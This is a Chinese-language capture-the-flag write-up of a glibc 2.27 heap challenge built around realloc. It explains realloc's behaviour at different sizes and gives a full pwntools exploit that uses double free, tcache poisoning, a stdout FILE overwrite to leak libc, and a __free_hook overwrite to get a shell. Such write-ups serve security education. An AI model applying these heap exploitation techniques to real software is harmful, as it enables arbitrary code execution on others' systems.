BUU-TWCTF_online_2019_asterisk_alloc-WP
这道题涉及到 realloc
的利用,还蛮新奇的,第一次接触。昨天晚上卡了一晚上没做出来,今天终于是解完了。
首先 realloc
在申请的空间不同时,行为也是不同的。我们记申请的大小为 Nsize,ptr 指向的堆块的大小为 Osize,那么在调用 realloc(ptr,Nsize)
时有以下几种情况
Nsize == 0
此时等同于free
,且返回值为 0Nsize < Osize
切割原 chunk,讲多余部分free
掉Nsize == Osize
不做操作Nsize > Osize
尽可能地尝试通过后向合并(包括 Tcache 这样的一般不会被合并的 chunk)来满足申请,如果通过后向合并可以满足 Nsize,则进行合并并返回原指针;否则会新malloc
一个 Nsize 的 chunk,将原 chunk 的数据拷贝至新 chunk,free
掉原 chunk(注意这种情况下不会后向合并)Nsize = -1
也就是申请一个机器无法分配的大小,由于我没有看源码,不知道实际行为如何,但是通过调试得到的结论为返回 0,且不会对 ptr 原指向的 chunk 进行free
本题的漏洞很明显,主要是 double free
,又是 2.27 版本的 libc,通过 Tcache poisoning
可以很容易地劫持各种 hook,那么主要的问题就在于如何 leak libc,程序本身没有输出的功能,据说这个时候要 leak 的话基本就是要攻击 _IO_FILE
了。原理是 main_arena
和 _IO_2_1_stdout_
低二字节相同,通过爆破四位就可以分配到 _IO_2_1_stdout_
上,然后可以修改其 flag
和 _IO_write_base
来实现输出。
第一步要塞满 Tcache
并获得一个 Unsorted Bin
,并且要能实现对该 Unsorted Bin
的 fd
的修改。本来的话用 malloc
可以容易地解决,但是本题 malloc
只能用一次,所以还是要通过灵活使用 realloc
来实现。具体方法为
- 通过
realloc
申请并释放三个大小不同的 chunk,记作 A B C。 - 将 B 申请回来,
free
七次,填满Tcache
- 通过
realloc(0)
实现一次释放和指针置零,此时 B 进入Unsorted bin
中(C 存在的目的是为了防止 这里 top_chunk 的合并) - 通过
realloc
申请回 A(如果上一次不使用realloc(0)
而是直接free
这里就无法申请回 A 了) - 通过
realloc
扩展 A,将 B 合并,实现chunk overlapping
,此时我们拥有了对 B 的 UAF 的能力,考虑写 B 的fd
,由于 B 是Unsorted bin
的尾节点fd
会指向main_arena + 96
,我们写fd
的低二字节,让fd
指向_IO_2_1_stdout_
。由于我们只能使用realloc
和 一个指针来多次分配申请,所以这里还需要改写 B 的size
域,保证之后清空指针的时候 B 不会进入我们poisoning
的链中,只要把size
改成一个乱七八糟的值就行了。 - 申请
size(B)
,realloc(0)
- 再次申请,此时就获得了一个在
_IO_2_1_stdout_
的 chunk 了。
也就是下面这样
realloc(0x10,'\n')
realloc(0,'')
realloc(0x80,'\n')
realloc(0,'')
realloc(0x20,'\n')
realloc(0,'')
realloc(0x80,'\n')
for i in range(7):
free_r()
realloc(0,'')#free to unsorted_bin
realloc(0x10,'\n')
overWriteByte = struct.pack("<H",libc.symbols["_IO_2_1_stdout_"] & 0xFFFF)
realloc(0x10 + 0x80 + 0x10,'a' * 0x10 + p64(0) + p64(0x21) + overWriteByte)
realloc(0,'')
realloc(0x80,struct.pack("B",libc.symbols["_IO_2_1_stdout_"] & 0xFF))
realloc(0,'')
realloc(0x80,p64(0xfbad1887) + p64(0) * 3 + '\x58')#_IO_write_base point to _IO_file_jumps
注意对 _IO_2_1_stdout_
的改写,需要把 flag
改写为 0xfbad1887
,这样之后调用 write
的时候就会输出从 _IO_write_base
到 _IO_write_ptr
中的数据了。那么我们在改写 flag
的同时改写 _IO_write_base
,让它指向 _IO_write_base
原指向的位置附近的一个存有 libc 地址的空间就可以实现 leak 了。这里我选择让它指向 _IO_file_jumps
。
实现 leak 之后就是重来一次 Tcache poisoning
,分配到 __free_hook
上写 system
getshell。这里又会比较麻烦,因为当前分配到的是一个显然不合法的 chunk,如果 free
的话必然报错,所以就需要 realloc(-1)
来避免 free
并置空指针,之后的操作和之前一样,只要改变 A B C 的大小就基本可以照抄之前的方法了。
exp
#!/usr/bin/env python
# coding=utf-8
from pwn import *
import struct
#sh = process("./TWCTF_online_2019_asterisk_alloc")
#libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
sh = remote("node3.buuoj.cn",29556)
libc = ELF("./libcs/libc-2.27-buu.so")
def malloc(size,payload):
sh.sendlineafter("choice: ",'1')
sh.sendlineafter("Size: ",str(size))
sh.sendafter("Data: ",payload)
def calloc(size,payload):
sh.sendlineafter("choice: ",'2')
sh.sendlineafter("Size: ",str(size))
sh.sendafter("Data: ",payload)
def realloc(size,payload):
sh.sendlineafter("choice: ",'3')
sh.sendlineafter("Size: ",str(size))
sh.sendafter("Data: ",payload)
def free_m():
sh.sendlineafter("choice: ",'4')
sh.sendlineafter("Which: ",'m')
def free_c():
sh.sendlineafter("choice: ",'4')
sh.sendlineafter("Which: ",'c')
def free_r():
sh.sendlineafter("choice: ",'4')
sh.sendlineafter("Which: ",'r')
realloc(0x10,'\n')
realloc(0,'')
realloc(0x80,'\n')
realloc(0,'')
realloc(0x20,'\n')
realloc(0,'')
realloc(0x80,'\n')
for i in range(7):
free_r()
realloc(0,'')#free to unsorted_bin
realloc(0x10,'\n')
overWriteByte = struct.pack("<H",libc.symbols["_IO_2_1_stdout_"] & 0xFFFF)
realloc(0x10 + 0x80 + 0x10,'a' * 0x10 + p64(0) + p64(0x21) + overWriteByte)
realloc(0,'')
realloc(0x80,struct.pack("B",libc.symbols["_IO_2_1_stdout_"] & 0xFF))
realloc(0,'')
realloc(0x80,p64(0xfbad1887) + p64(0) * 3 + '\x58')#_IO_write_base point to _IO_file_jumps
libc_base = u64(sh.recv(8)) - libc.symbols["_IO_file_jumps"]
log.success("libc_base:" + hex(libc_base))
free_hook = libc_base + libc.symbols["__free_hook"]
system_addr = libc_base + libc.symbols["system"]
sh.sendline("100")#pass
realloc(-1,'\n')#set ptr=0 without free
realloc(0xC0,'\n')
realloc(0,'')
realloc(0xD0,'\n')
realloc(0,'')
realloc(0xE0,'\n')
realloc(0,'')
realloc(0xD0,'\n')
for i in range(7):
free_r()
realloc(0,'')#free to unsorted_bin
realloc(0xC0,'\n')
realloc(0xC0 + 0x10 + 0xD0,'a' * 0xC0 + p64(0) + p64(0x61) + p64(free_hook - 8))
realloc(0,'')
realloc(0xD0,p64(free_hook - 8))
realloc(0,'')
realloc(0xD0,'/bin/sh\x00' + p64(system_addr))
free_r()
sh.interactive()